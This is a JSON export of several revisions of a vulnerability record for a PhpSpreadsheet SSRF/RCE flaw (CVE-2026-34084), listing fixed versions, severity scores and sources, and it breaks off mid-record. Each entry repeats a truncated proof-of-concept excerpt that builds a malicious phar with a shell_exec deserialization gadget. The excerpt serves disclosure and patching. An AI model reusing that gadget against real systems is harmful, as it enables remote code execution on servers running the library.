{"items":[{"id":"NVI-00005931","kind":"vulnerability","title":"PhpSpreadsheet has SSRF/RCE in IOFactory::load when $filename is user controlled","revision":4,"unknowns":["Customer inventory, deployment, reachability and exploitation have not been inspected.","NVD lastModified does not establish freshness of every associated CPE record."],"lifecycle":"active","identifiers":["GHSA-q4q6-r8wh-5cgh","CVE-2026-34084"],"plain_summary":"OSV carries this publisher advisory for phpoffice/phpspreadsheet, phpoffice/phpspreadsheet, phpoffice/phpspreadsheet, phpoffice/phpspreadsheet, phpoffice/phpspreadsheet. This is an aggregated source copy; consult the original publisher and compare update dates.","review_status":"source_listed","control_topics":[],"public_actions":[{"summary":"The original advisory lists fixed boundaries 5.6.0 for phpoffice/phpspreadsheet. Confirm the publisher’s latest guidance.","source_ids":["sr-a1bc34a66c0207e43b6e5c98cd89ceac"],"action_type":"vendor_patch","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null},{"summary":"The original advisory lists fixed boundaries 3.10.4 for phpoffice/phpspreadsheet. Confirm the publisher’s latest guidance.","source_ids":["sr-a1bc34a66c0207e43b6e5c98cd89ceac"],"action_type":"vendor_patch","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null},{"summary":"The original advisory lists fixed boundaries 2.4.4 for phpoffice/phpspreadsheet. Confirm the publisher’s latest guidance.","source_ids":["sr-a1bc34a66c0207e43b6e5c98cd89ceac"],"action_type":"vendor_patch","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null},{"summary":"The original advisory lists fixed boundaries 2.1.15 for phpoffice/phpspreadsheet. Confirm the publisher’s latest guidance.","source_ids":["sr-a1bc34a66c0207e43b6e5c98cd89ceac"],"action_type":"vendor_patch","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null},{"summary":"The original advisory lists fixed boundaries 1.30.3 for phpoffice/phpspreadsheet. Confirm the publisher’s latest guidance.","source_ids":["sr-a1bc34a66c0207e43b6e5c98cd89ceac"],"action_type":"vendor_patch","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null},{"summary":"Identify the exact component and deployed version, examine the linked publisher’s conditions, and retain evidence of any mitigation.","source_ids":["sr-21987f439bbd059cee5414e49511dd70"],"action_type":"investigate","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null}],"schema_version":"1.1.0","source_metrics":[{"kind":"CVSS","as_of":"2026-07-24T22:10:00.140Z","value":"9.8 CRITICAL (3.1)","meaning":"nvd@nist.gov severity; no combined Null risk score.","source_id":"sr-cf908d39d12b4c1f8f359437a6400313"},{"kind":"CVSS","as_of":"2026-07-24T22:10:00.140Z","value":"9.2 CRITICAL (4.0)","meaning":"security-advisories@github.com severity; no combined Null risk score.","source_id":"sr-cf908d39d12b4c1f8f359437a6400313"},{"kind":"EPSS","as_of":"2026-11-02T12:00:30.000Z","value":"0.712%","meaning":"FIRST EPSS model v2026.06.15; exploitation probability over 30 days, percentile 0.53622. Missing scores are unknown.","source_id":"sr-21987f439bbd059cee5414e49511dd70"}],"why_it_matters":"Published affected context helps an owner decide what evidence to gather. This report has not examined your application.","related_sources":[{"id":"sr-a1bc34a66c0207e43b6e5c98cd89ceac","url":"https://github.com/advisories/GHSA-q4q6-r8wh-5cgh","basis":"vendor_advisory","notes":"GitHub-origin advisory, CC-BY-4.0; OSV is an aggregate copy, not independent corroboration.","title":"GHSA-q4q6-r8wh-5cgh","publisher":"GitHub Advisory Database via OSV","observed_at":"2026-10-31T21:42:30.998Z"},{"id":"sr-cf908d39d12b4c1f8f359437a6400313","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34084","basis":"official_catalog","notes":"This product uses data from the NVD API but is not endorsed or certified by the NVD.","title":"CVE-2026-34084","publisher":"NIST National Vulnerability Database","observed_at":"2026-11-01T07:23:23.484Z"},{"id":"sr-21987f439bbd059cee5414e49511dd70","url":"https://www.first.org/epss/data.html","basis":"official_catalog","notes":"FIRST EPSS; probability of exploitation in the next 30 days, not local compromise. Dataset date/model retained; FIRST services terms apply.","title":"CVE-2026-34084","publisher":"FIRST EPSS","observed_at":"2026-11-02T20:15:58.851Z"}],"affected_context":[{"certainty":"source_listed","source_ids":["sr-a1bc34a66c0207e43b6e5c98cd89ceac"],"technology":"phpoffice/phpspreadsheet","known_exclusions":[],"conditions_summary":"The usage of `is_file`, used to verify if the `$filename` is indeed an actual file, by all(?) `Reader` implementations (inside the helper function `File::assertFile`) is php-wrapper aware, for any php wrappers implementing `stat()`.\nThe 3 wrappers `ftp://`, `phar://` and `ssh2.sftp://`, all satisfy this requirement - 2 of which are shown in the PoC below.\n\nThis results in a SSRF, at \"best\", and RCE at worse.\n\nThis was tested against the `latest` release - but the issue seems to go back a while from a first quick check (still present in `v1.30.2`).\n\n## PoC\nTo reproduce the vulnerable behavior, the following scripts were used:\n\n`php.ini` file, only needed to build the malicious phar, not necessary to exploit on a deployed instance of the library:\n```ini\nphar.readonly=0\n```\n\n`make_phar.php` to create the malicious file:\n```php\ndata = $d;\n    }\n    function __destruct() {\n        shell_exec($this->data);\n    }\n}\n\n$pop = new GadgetClass('touch /tmp/poc.txt');\n\n$phar = new Phar('exploit.phar');\n$phar->startBuffering();\n$ph","public_affected_ranges":["ECOSYSTEM: introduced 4.0.0; fixed 5.6.0"]},{"certainty":"source_listed","source_ids":["sr-a1bc34a66c0207e43b6e5c98cd89ceac"],"technology":"phpoffice/phpspreadsheet","known_exclusions":[],"conditions_summary":"The usage of `is_file`, used to verify if the `$filename` is indeed an actual file, by all(?) `Reader` implementations (inside the helper function `File::assertFile`) is php-wrapper aware, for any php wrappers implementing `stat()`.\nThe 3 wrappers `ftp://`, `phar://` and `ssh2.sftp://`, all satisfy this requirement - 2 of which are shown in the PoC below.\n\nThis results in a SSRF, at \"best\", and RCE at worse.\n\nThis was tested against the `latest` release - but the issue seems to go back a while from a first quick check (still present in `v1.30.2`).\n\n## PoC\nTo reproduce the vulnerable behavior, the following scripts were used:\n\n`php.ini` file, only needed to build the malicious phar, not necessary to exploit on a deployed instance of the library:\n```ini\nphar.readonly=0\n```\n\n`make_phar.php` to create the malicious file:\n```php\ndata = $d;\n    }\n    function __destruct() {\n        shell_exec($this->data);\n    }\n}\n\n$pop = new GadgetClass('touch /tmp/poc.txt');\n\n$phar = new Phar('exploit.phar');\n$phar->startBuffering();\n$ph","public_affected_ranges":["ECOSYSTEM: introduced 3.3.0; fixed 3.10.4"]},{"certainty":"source_listed","source_ids":["sr-a1bc34a66c0207e43b6e5c98cd89ceac"],"technology":"phpoffice/phpspreadsheet","known_exclusions":[],"conditions_summary":"The usage of `is_file`, used to verify if the `$filename` is indeed an actual file, by all(?) `Reader` implementations (inside the helper function `File::assertFile`) is php-wrapper aware, for any php wrappers implementing `stat()`.\nThe 3 wrappers `ftp://`, `phar://` and `ssh2.sftp://`, all satisfy this requirement - 2 of which are shown in the PoC below.\n\nThis results in a SSRF, at \"best\", and RCE at worse.\n\nThis was tested against the `latest` release - but the issue seems to go back a while from a first quick check (still present in `v1.30.2`).\n\n## PoC\nTo reproduce the vulnerable behavior, the following scripts were used:\n\n`php.ini` file, only needed to build the malicious phar, not necessary to exploit on a deployed instance of the library:\n```ini\nphar.readonly=0\n```\n\n`make_phar.php` to create the malicious file:\n```php\ndata = $d;\n    }\n    function __destruct() {\n        shell_exec($this->data);\n    }\n}\n\n$pop = new GadgetClass('touch /tmp/poc.txt');\n\n$phar = new Phar('exploit.phar');\n$phar->startBuffering();\n$ph","public_affected_ranges":["ECOSYSTEM: introduced 2.2.0; fixed 2.4.4"]},{"certainty":"source_listed","source_ids":["sr-a1bc34a66c0207e43b6e5c98cd89ceac"],"technology":"phpoffice/phpspreadsheet","known_exclusions":[],"conditions_summary":"The usage of `is_file`, used to verify if the `$filename` is indeed an actual file, by all(?) `Reader` implementations (inside the helper function `File::assertFile`) is php-wrapper aware, for any php wrappers implementing `stat()`.\nThe 3 wrappers `ftp://`, `phar://` and `ssh2.sftp://`, all satisfy this requirement - 2 of which are shown in the PoC below.\n\nThis results in a SSRF, at \"best\", and RCE at worse.\n\nThis was tested against the `latest` release - but the issue seems to go back a while from a first quick check (still present in `v1.30.2`).\n\n## PoC\nTo reproduce the vulnerable behavior, the following scripts were used:\n\n`php.ini` file, only needed to build the malicious phar, not necessary to exploit on a deployed instance of the library:\n```ini\nphar.readonly=0\n```\n\n`make_phar.php` to create the malicious file:\n```php\ndata = $d;\n    }\n    function __destruct() {\n        shell_exec($this->data);\n    }\n}\n\n$pop = new GadgetClass('touch /tmp/poc.txt');\n\n$phar = new Phar('exploit.phar');\n$phar->startBuffering();\n$ph","public_affected_ranges":["ECOSYSTEM: introduced 2.0.0; fixed 2.1.15"]},{"certainty":"source_listed","source_ids":["sr-a1bc34a66c0207e43b6e5c98cd89ceac"],"technology":"phpoffice/phpspreadsheet","known_exclusions":[],"conditions_summary":"The usage of `is_file`, used to verify if the `$filename` is indeed an actual file, by all(?) `Reader` implementations (inside the helper function `File::assertFile`) is php-wrapper aware, for any php wrappers implementing `stat()`.\nThe 3 wrappers `ftp://`, `phar://` and `ssh2.sftp://`, all satisfy this requirement - 2 of which are shown in the PoC below.\n\nThis results in a SSRF, at \"best\", and RCE at worse.\n\nThis was tested against the `latest` release - but the issue seems to go back a while from a first quick check (still present in `v1.30.2`).\n\n## PoC\nTo reproduce the vulnerable behavior, the following scripts were used:\n\n`php.ini` file, only needed to build the malicious phar, not necessary to exploit on a deployed instance of the library:\n```ini\nphar.readonly=0\n```\n\n`make_phar.php` to create the malicious file:\n```php\ndata = $d;\n    }\n    function __destruct() {\n        shell_exec($this->data);\n    }\n}\n\n$pop = new GadgetClass('touch /tmp/poc.txt');\n\n$phar = new Phar('exploit.phar');\n$phar->startBuffering();\n$ph","public_affected_ranges":["ECOSYSTEM: introduced 0; fixed 1.30.3"]}],"null_published_at":"2026-11-07T22:29:23.435Z","source_updated_at":"2026-05-08T15:33:49.124Z","source_disclosed_at":"2026-04-29T20:22:30.000Z","is_synthetic_fixture":false,"null_last_reviewed_at":null,"public_change_summary":"Source facts changed; compare the preserved prior revision.","null_first_observed_at":"2026-10-31T21:42:30.998Z"},{"id":"NVI-00005931","kind":"vulnerability","title":"PhpSpreadsheet has SSRF/RCE in IOFactory::load when $filename is user controlled","revision":3,"unknowns":["Customer inventory, deployment, reachability and exploitation have not been inspected."],"lifecycle":"active","identifiers":["GHSA-q4q6-r8wh-5cgh","CVE-2026-34084"],"plain_summary":"OSV carries this publisher advisory for phpoffice/phpspreadsheet, phpoffice/phpspreadsheet, phpoffice/phpspreadsheet, phpoffice/phpspreadsheet, phpoffice/phpspreadsheet. This is an aggregated source copy; consult the original publisher and compare update dates.","review_status":"source_listed","control_topics":[],"public_actions":[{"summary":"The original advisory lists fixed boundaries 5.6.0 for phpoffice/phpspreadsheet. Confirm the publisher’s latest guidance.","source_ids":["sr-a1bc34a66c0207e43b6e5c98cd89ceac"],"action_type":"vendor_patch","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null},{"summary":"The original advisory lists fixed boundaries 3.10.4 for phpoffice/phpspreadsheet. Confirm the publisher’s latest guidance.","source_ids":["sr-a1bc34a66c0207e43b6e5c98cd89ceac"],"action_type":"vendor_patch","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null},{"summary":"The original advisory lists fixed boundaries 2.4.4 for phpoffice/phpspreadsheet. Confirm the publisher’s latest guidance.","source_ids":["sr-a1bc34a66c0207e43b6e5c98cd89ceac"],"action_type":"vendor_patch","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null},{"summary":"The original advisory lists fixed boundaries 2.1.15 for phpoffice/phpspreadsheet. Confirm the publisher’s latest guidance.","source_ids":["sr-a1bc34a66c0207e43b6e5c98cd89ceac"],"action_type":"vendor_patch","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null},{"summary":"The original advisory lists fixed boundaries 1.30.3 for phpoffice/phpspreadsheet. Confirm the publisher’s latest guidance.","source_ids":["sr-a1bc34a66c0207e43b6e5c98cd89ceac"],"action_type":"vendor_patch","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null},{"summary":"Identify the exact component and deployed version, examine the linked publisher’s conditions, and retain evidence of any mitigation.","source_ids":["sr-21987f439bbd059cee5414e49511dd70"],"action_type":"investigate","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null}],"schema_version":"1.1.0","source_metrics":[{"kind":"EPSS","as_of":"2026-11-02T12:00:30.000Z","value":"0.712%","meaning":"FIRST EPSS model v2026.06.15; exploitation probability over 30 days, percentile 0.53622. Missing scores are unknown.","source_id":"sr-21987f439bbd059cee5414e49511dd70"}],"why_it_matters":"Published affected context helps an owner decide what evidence to gather. This report has not examined your application.","related_sources":[{"id":"sr-a1bc34a66c0207e43b6e5c98cd89ceac","url":"https://github.com/advisories/GHSA-q4q6-r8wh-5cgh","basis":"vendor_advisory","notes":"GitHub-origin advisory, CC-BY-4.0; OSV is an aggregate copy, not independent corroboration.","title":"GHSA-q4q6-r8wh-5cgh","publisher":"GitHub Advisory Database via OSV","observed_at":"2026-10-31T21:42:30.998Z"},{"id":"sr-21987f439bbd059cee5414e49511dd70","url":"https://www.first.org/epss/data.html","basis":"official_catalog","notes":"FIRST EPSS; probability of exploitation in the next 30 days, not local compromise. Dataset date/model retained; FIRST services terms apply.","title":"CVE-2026-34084","publisher":"FIRST EPSS","observed_at":"2026-11-02T20:15:58.851Z"}],"affected_context":[{"certainty":"source_listed","source_ids":["sr-a1bc34a66c0207e43b6e5c98cd89ceac"],"technology":"phpoffice/phpspreadsheet","known_exclusions":[],"conditions_summary":"The usage of `is_file`, used to verify if the `$filename` is indeed an actual file, by all(?) `Reader` implementations (inside the helper function `File::assertFile`) is php-wrapper aware, for any php wrappers implementing `stat()`.\nThe 3 wrappers `ftp://`, `phar://` and `ssh2.sftp://`, all satisfy this requirement - 2 of which are shown in the PoC below.\n\nThis results in a SSRF, at \"best\", and RCE at worse.\n\nThis was tested against the `latest` release - but the issue seems to go back a while from a first quick check (still present in `v1.30.2`).\n\n## PoC\nTo reproduce the vulnerable behavior, the following scripts were used:\n\n`php.ini` file, only needed to build the malicious phar, not necessary to exploit on a deployed instance of the library:\n```ini\nphar.readonly=0\n```\n\n`make_phar.php` to create the malicious file:\n```php\ndata = $d;\n    }\n    function __destruct() {\n        shell_exec($this->data);\n    }\n}\n\n$pop = new GadgetClass('touch /tmp/poc.txt');\n\n$phar = new Phar('exploit.phar');\n$phar->startBuffering();\n$ph","public_affected_ranges":["ECOSYSTEM: introduced 4.0.0; fixed 5.6.0"]},{"certainty":"source_listed","source_ids":["sr-a1bc34a66c0207e43b6e5c98cd89ceac"],"technology":"phpoffice/phpspreadsheet","known_exclusions":[],"conditions_summary":"The usage of `is_file`, used to verify if the `$filename` is indeed an actual file, by all(?) `Reader` implementations (inside the helper function `File::assertFile`) is php-wrapper aware, for any php wrappers implementing `stat()`.\nThe 3 wrappers `ftp://`, `phar://` and `ssh2.sftp://`, all satisfy this requirement - 2 of which are shown in the PoC below.\n\nThis results in a SSRF, at \"best\", and RCE at worse.\n\nThis was tested against the `latest` release - but the issue seems to go back a while from a first quick check (still present in `v1.30.2`).\n\n## PoC\nTo reproduce the vulnerable behavior, the following scripts were used:\n\n`php.ini` file, only needed to build the malicious phar, not necessary to exploit on a deployed instance of the library:\n```ini\nphar.readonly=0\n```\n\n`make_phar.php` to create the malicious file:\n```php\ndata = $d;\n    }\n    function __destruct() {\n        shell_exec($this->data);\n    }\n}\n\n$pop = new GadgetClass('touch /tmp/poc.txt');\n\n$phar = new Phar('exploit.phar');\n$phar->startBuffering();\n$ph","public_affected_ranges":["ECOSYSTEM: introduced 3.3.0; fixed 3.10.4"]},{"certainty":"source_listed","source_ids":["sr-a1bc34a66c0207e43b6e5c98cd89ceac"],"technology":"phpoffice/phpspreadsheet","known_exclusions":[],"conditions_summary":"The usage of `is_file`, used to verify if the `$filename` is indeed an actual file, by all(?) `Reader` implementations (inside the helper function `File::assertFile`) is php-wrapper aware, for any php wrappers implementing `stat()`.\nThe 3 wrappers `ftp://`, `phar://` and `ssh2.sftp://`, all satisfy this requirement - 2 of which are shown in the PoC below.\n\nThis results in a SSRF, at \"best\", and RCE at worse.\n\nThis was tested against the `latest` release - but the issue seems to go back a while from a first quick check (still present in `v1.30.2`).\n\n## PoC\nTo reproduce the vulnerable behavior, the following scripts were used:\n\n`php.ini` file, only needed to build the malicious phar, not necessary to exploit on a deployed instance of the library:\n```ini\nphar.readonly=0\n```\n\n`make_phar.php` to create the malicious file:\n```php\ndata = $d;\n    }\n    function __destruct() {\n        shell_exec($this->data);\n    }\n}\n\n$pop = new GadgetClass('touch /tmp/poc.txt');\n\n$phar = new Phar('exploit.phar');\n$phar->startBuffering();\n$ph","public_affected_ranges":["ECOSYSTEM: introduced 2.2.0; fixed 2.4.4"]},{"certainty":"source_listed","source_ids":["sr-a1bc34a66c0207e43b6e5c98cd89ceac"],"technology":"phpoffice/phpspreadsheet","known_exclusions":[],"conditions_summary":"The usage of `is_file`, used to verify if the `$filename` is indeed an actual file, by all(?) `Reader` implementations (inside the helper function `File::assertFile`) is php-wrapper aware, for any php wrappers implementing `stat()`.\nThe 3 wrappers `ftp://`, `phar://` and `ssh2.sftp://`, all satisfy this requirement - 2 of which are shown in the PoC below.\n\nThis results in a SSRF, at \"best\", and RCE at worse.\n\nThis was tested against the `latest` release - but the issue seems to go back a while from a first quick check (still present in `v1.30.2`).\n\n## PoC\nTo reproduce the vulnerable behavior, the following scripts were used:\n\n`php.ini` file, only needed to build the malicious phar, not necessary to exploit on a deployed instance of the library:\n```ini\nphar.readonly=0\n```\n\n`make_phar.php` to create the malicious file:\n```php\ndata = $d;\n    }\n    function __destruct() {\n        shell_exec($this->data);\n    }\n}\n\n$pop = new GadgetClass('touch /tmp/poc.txt');\n\n$phar = new Phar('exploit.phar');\n$phar->startBuffering();\n$ph","public_affected_ranges":["ECOSYSTEM: introduced 2.0.0; fixed 2.1.15"]},{"certainty":"source_listed","source_ids":["sr-a1bc34a66c0207e43b6e5c98cd89ceac"],"technology":"phpoffice/phpspreadsheet","known_exclusions":[],"conditions_summary":"The usage of `is_file`, used to verify if the `$filename` is indeed an actual file, by all(?) `Reader` implementations (inside the helper function `File::assertFile`) is php-wrapper aware, for any php wrappers implementing `stat()`.\nThe 3 wrappers `ftp://`, `phar://` and `ssh2.sftp://`, all satisfy this requirement - 2 of which are shown in the PoC below.\n\nThis results in a SSRF, at \"best\", and RCE at worse.\n\nThis was tested against the `latest` release - but the issue seems to go back a while from a first quick check (still present in `v1.30.2`).\n\n## PoC\nTo reproduce the vulnerable behavior, the following scripts were used:\n\n`php.ini` file, only needed to build the malicious phar, not necessary to exploit on a deployed instance of the library:\n```ini\nphar.readonly=0\n```\n\n`make_phar.php` to create the malicious file:\n```php\ndata = $d;\n    }\n    function __destruct() {\n        shell_exec($this->data);\n    }\n}\n\n$pop = new GadgetClass('touch /tmp/poc.txt');\n\n$phar = new Phar('exploit.phar');\n$phar->startBuffering();\n$ph","public_affected_ranges":["ECOSYSTEM: introduced 0; fixed 1.30.3"]}],"null_published_at":"2026-11-07T14:01:58.738Z","source_updated_at":"2026-05-08T15:33:49.124Z","source_disclosed_at":"2026-04-29T20:22:30.000Z","is_synthetic_fixture":false,"null_last_reviewed_at":null,"public_change_summary":"Dated EPSS estimate updated; this is not a new disclosure or proof of exploitation.","null_first_observed_at":"2026-10-31T21:42:30.998Z"},{"id":"NVI-00005931","kind":"vulnerability","title":"PhpSpreadsheet has SSRF/RCE in IOFactory::load when $filename is user controlled","revision":2,"unknowns":["Customer inventory, deployment, reachability and exploitation have not been inspected."],"lifecycle":"active","identifiers":["GHSA-q4q6-r8wh-5cgh","CVE-2026-34084"],"plain_summary":"OSV carries this publisher advisory for phpoffice/phpspreadsheet, phpoffice/phpspreadsheet, phpoffice/phpspreadsheet, phpoffice/phpspreadsheet, phpoffice/phpspreadsheet. This is an aggregated source copy; consult the original publisher and compare update dates.","review_status":"source_listed","control_topics":[],"public_actions":[{"summary":"The original advisory lists fixed boundaries 5.6.0 for phpoffice/phpspreadsheet. Confirm the publisher’s latest guidance.","source_ids":["sr-a1bc34a66c0207e43b6e5c98cd89ceac"],"action_type":"vendor_patch","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null},{"summary":"The original advisory lists fixed boundaries 3.10.4 for phpoffice/phpspreadsheet. Confirm the publisher’s latest guidance.","source_ids":["sr-a1bc34a66c0207e43b6e5c98cd89ceac"],"action_type":"vendor_patch","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null},{"summary":"The original advisory lists fixed boundaries 2.4.4 for phpoffice/phpspreadsheet. Confirm the publisher’s latest guidance.","source_ids":["sr-a1bc34a66c0207e43b6e5c98cd89ceac"],"action_type":"vendor_patch","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null},{"summary":"The original advisory lists fixed boundaries 2.1.15 for phpoffice/phpspreadsheet. Confirm the publisher’s latest guidance.","source_ids":["sr-a1bc34a66c0207e43b6e5c98cd89ceac"],"action_type":"vendor_patch","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null},{"summary":"The original advisory lists fixed boundaries 1.30.3 for phpoffice/phpspreadsheet. Confirm the publisher’s latest guidance.","source_ids":["sr-a1bc34a66c0207e43b6e5c98cd89ceac"],"action_type":"vendor_patch","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null},{"summary":"Identify the exact component and deployed version, examine the linked publisher’s conditions, and retain evidence of any mitigation.","source_ids":["sr-a101b6f60ed94c9dc47f5e4b0ee54e40"],"action_type":"investigate","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null}],"schema_version":"1.1.0","source_metrics":[{"kind":"EPSS","as_of":"2026-10-31T12:00:27.000Z","value":"0.712%","meaning":"FIRST EPSS model v2026.06.15; exploitation probability over 30 days, percentile 0.53635. Missing scores are unknown.","source_id":"sr-a101b6f60ed94c9dc47f5e4b0ee54e40"}],"why_it_matters":"Published affected context helps an owner decide what evidence to gather. This report has not examined your application.","related_sources":[{"id":"sr-a1bc34a66c0207e43b6e5c98cd89ceac","url":"https://github.com/advisories/GHSA-q4q6-r8wh-5cgh","basis":"vendor_advisory","notes":"GitHub-origin advisory, CC-BY-4.0; OSV is an aggregate copy, not independent corroboration.","title":"GHSA-q4q6-r8wh-5cgh","publisher":"GitHub Advisory Database via OSV","observed_at":"2026-10-31T21:42:30.998Z"},{"id":"sr-a101b6f60ed94c9dc47f5e4b0ee54e40","url":"https://www.first.org/epss/data.html","basis":"official_catalog","notes":"FIRST EPSS; probability of exploitation in the next 30 days, not local compromise. Dataset date/model retained; FIRST services terms apply.","title":"CVE-2026-34084","publisher":"FIRST EPSS","observed_at":"2026-10-31T22:06:15.377Z"}],"affected_context":[{"certainty":"source_listed","source_ids":["sr-a1bc34a66c0207e43b6e5c98cd89ceac"],"technology":"phpoffice/phpspreadsheet","known_exclusions":[],"conditions_summary":"The usage of `is_file`, used to verify if the `$filename` is indeed an actual file, by all(?) `Reader` implementations (inside the helper function `File::assertFile`) is php-wrapper aware, for any php wrappers implementing `stat()`.\nThe 3 wrappers `ftp://`, `phar://` and `ssh2.sftp://`, all satisfy this requirement - 2 of which are shown in the PoC below.\n\nThis results in a SSRF, at \"best\", and RCE at worse.\n\nThis was tested against the `latest` release - but the issue seems to go back a while from a first quick check (still present in `v1.30.2`).\n\n## PoC\nTo reproduce the vulnerable behavior, the following scripts were used:\n\n`php.ini` file, only needed to build the malicious phar, not necessary to exploit on a deployed instance of the library:\n```ini\nphar.readonly=0\n```\n\n`make_phar.php` to create the malicious file:\n```php\ndata = $d;\n    }\n    function __destruct() {\n        shell_exec($this->data);\n    }\n}\n\n$pop = new GadgetClass('touch /tmp/poc.txt');\n\n$phar = new Phar('exploit.phar');\n$phar->startBuffering();\n$ph","public_affected_ranges":["ECOSYSTEM: introduced 4.0.0; fixed 5.6.0"]},{"certainty":"source_listed","source_ids":["sr-a1bc34a66c0207e43b6e5c98cd89ceac"],"technology":"phpoffice/phpspreadsheet","known_exclusions":[],"conditions_summary":"The usage of `is_file`, used to verify if the `$filename` is indeed an actual file, by all(?) `Reader` implementations (inside the helper function `File::assertFile`) is php-wrapper aware, for any php wrappers implementing `stat()`.\nThe 3 wrappers `ftp://`, `phar://` and `ssh2.sftp://`, all satisfy this requirement - 2 of which are shown in the PoC below.\n\nThis results in a SSRF, at \"best\", and RCE at worse.\n\nThis was tested against the `latest` release - but the issue seems to go back a while from a first quick check (still present in `v1.30.2`).\n\n## PoC\nTo reproduce the vulnerable behavior, the following scripts were used:\n\n`php.ini` file, only needed to build the malicious phar, not necessary to exploit on a deployed instance of the library:\n```ini\nphar.readonly=0\n```\n\n`make_phar.php` to create the malicious file:\n```php\ndata = $d;\n    }\n    function __destruct() {\n        shell_exec($this->data);\n    }\n}\n\n$pop = new GadgetClass('touch /tmp/poc.txt');\n\n$phar = new Phar('exploit.phar');\n$phar->startBuffering();\n$ph","public_affected_ranges":["ECOSYSTEM: introduced 3.3.0; fixed 3.10.4"]},{"certainty":"source_listed","source_ids":["sr-a1bc34a66c0207e43b6e5c98cd89ceac"],"technology":"phpoffice/phpspreadsheet","known_exclusions":[],"conditions_summary":"The usage of `is_file`, used to verify if the `$filename` is indeed an actual file, by all(?) `Reader` implementations (inside the helper function `File::assertFile`) is php-wrapper aware, for any php wrappers implementing `stat()`.\nThe 3 wrappers `ftp://`, `phar://` and `ssh2.sftp://`, all satisfy this requirement - 2 of which are shown in the PoC below.\n\nThis results in a SSRF, at \"best\", and RCE at worse.\n\nThis was tested against the `latest` release - but the issue seems to go back a while from a first quick check (still present in `v1.30.2`).\n\n## PoC\nTo reproduce the vulnerable behavior, the following scripts were used:\n\n`php.ini` file, only needed to build the malicious phar, not necessary to exploit on a deployed instance of the library:\n```ini\nphar.readonly=0\n```\n\n`make_phar.php` to create the malicious file:\n```php\ndata = $d;\n    }\n    function __destruct() {\n        shell_exec($this->data);\n    }\n}\n\n$pop = new GadgetClass('touch /tmp/poc.txt');\n\n$phar = new Phar('exploit.phar');\n$phar->startBuffering();\n$ph","public_affected_ranges":["ECOSYSTEM: introduced 2.2.0; fixed 2.4.4"]},{"certainty":"source_listed","source_ids":["sr-a1bc34a66c0207e43b6e5c98cd89ceac"],"technology":"phpoffice/phpspreadsheet","known_exclusions":[],"conditions_summary":"The usage of `is_file`, used to verify if the `$filename` is indeed an actual file, by all(?) `Reader` implementations (inside the helper function `File::assertFile`) is php-wrapper aware, for any php wrappers implementing `stat()`.\nThe 3 wrappers `ftp://`, `phar://` and `ssh2.sftp://`, all satisfy this requirement - 2 of which are shown in the PoC below.\n\nThis results in a SSRF, at \"best\", and RCE at worse.\n\nThis was tested against the `latest` release - but the issue seems to go back a while from a first quick check (still present in `v1.30.2`).\n\n## PoC\nTo reproduce the vulnerable behavior, the following scripts were used:\n\n`php.ini` file, only needed to build the malicious phar, not necessary to exploit on a deployed instance of the library:\n```ini\nphar.readonly=0\n```\n\n`make_phar.php` to create the malicious file:\n```php\ndata = $d;\n    }\n    function __destruct() {\n        shell_exec($this->data);\n    }\n}\n\n$pop = new GadgetClass('touch /tmp/poc.txt');\n\n$phar = new Phar('exploit.phar');\n$phar->startBuffering();\n$ph","public_affected_ranges":["ECOSYSTEM: introduced 2.0.0; fixed 2.1.15"]},{"certainty":"source_listed","source_ids":["sr-a1bc34a66c0207e43b6e5c98cd89ceac"],"technology":"phpoffice/phpspreadsheet","known_exclusions":[],"conditions_summary":"The usage of `is_file`, used to verify if the `$filename` is indeed an actual file, by all(?) `Reader` implementations (inside the helper function `File::assertFile`) is php-wrapper aware, for any php wrappers implementing `stat()`.\nThe 3 wrappers `ftp://`, `phar://` and `ssh2.sftp://`, all satisfy this requirement - 2 of which are shown in the PoC below.\n\nThis results in a SSRF, at \"best\", and RCE at worse.\n\nThis was tested against the `latest` release - but the issue seems to go back a while from a first quick check (still present in `v1.30.2`).\n\n## PoC\nTo reproduce the vulnerable behavior, the following scripts were used:\n\n`php.ini` file, only needed to build the malicious phar, not necessary to exploit on a deployed instance of the library:\n```ini\nphar.readonly=0\n```\n\n`make_phar.php` to create the malicious file:\n```php\ndata = $d;\n    }\n    function __destruct() {\n        shell_exec($this->data);\n    }\n}\n\n$pop = new GadgetClass('touch /tmp/poc.txt');\n\n$phar = new Phar('exploit.phar');\n$phar->startBuffering();\n$ph","public_affected_ranges":["ECOSYSTEM: introduced 0; fixed 1.30.3"]}],"null_published_at":"2026-11-04T02:53:03.178Z","source_updated_at":"2026-05-08T15:33:49.124Z","source_disclosed_at":"2026-04-29T20:22:30.000Z","is_synthetic_fixture":false,"null_last_reviewed_at":null,"public_change_summary":"Dated EPSS estimate updated; this is not a new disclosure or proof of exploitation.","null_first_observed_at":"2026-10-31T21:42:30.998Z"},{"id":"NVI-00005931","kind":"vulnerability","title":"PhpSpreadsheet has SSRF/RCE in IOFactory::load when $filename is user controlled","revision":1,"unknowns":["Customer inventory, deployment, reachability and exploitation have not been 